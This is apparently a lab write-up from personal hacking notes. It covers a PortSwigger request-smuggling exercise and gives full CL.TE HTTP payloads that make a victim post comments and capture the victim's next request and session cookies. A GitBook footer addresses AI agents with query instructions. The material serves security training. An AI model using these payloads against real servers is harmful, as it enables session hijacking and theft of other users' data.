> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/capturing-other-users-requests.md).
# Capture Requests from Other Users
Capture Requests from Other Users notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting HTTP Request Smuggling to Capture Other Users' Requests
The lab is setting up a front-end server and a back-end server. The front-end **does not support the chunked encoding**. / The objective is to **smuggler** a request to the back-end so that **the next user request** is **stored by the application**. / Then, **recover this request** and use the **cookies of the victim** to access his account.
The lab simulates a victim user: all the few POST requests sent, the victim executes his own request. / Sometimes it is necessary to repeat the attack several times.
> Although the lab allows the HTTP/2, the solution must use **HTTP/1** as some techniques are only possible in this protocol. " " The front-end interprets **Content-Length**, while the back-end treats **Transfer-Encoding: chunked**, creating an exploitable offset. " " The Burp extension HTTP Request Smuggler can help manually correct lengths.
#### 1. **Request Interpreted by Front-end**
The front-end reads `Content-Length: 13`, then also sees `Transfer-Encoding: chunked`:
```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
postId=6
```
After the end of the chunk (`0`), an additional backend request is added.
#### 2. **Injection of a POST Request to Publish a Comment**
You build a smuggled query containing a second complete query:
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked
0
postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
Result:/ The smuggled query is treated as if it came from your own session, and the application publishes the comment.
#### 3. **Forcing the Victim to Publish a Comment**
You modify the body to:
{% code overflow="wrap" %}
```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
{% endcode %}
```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```
and send a similar request. / When reloading, the app displays **Thanks for your comment**, indicating that the victim posted this comment.
#### 4. **Prepare the Capture of the Victim's Motion**
To capture the entire request of the victim user, you greatly increase the `Content-Length` so that the back-end consumes the following query as content:
```http
Content-Length: 1000
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```
The next request sent by the victim is then absorbed into the body expected... / and becomes **consultable in the storage of the application**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/capturing-other-users-requests.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
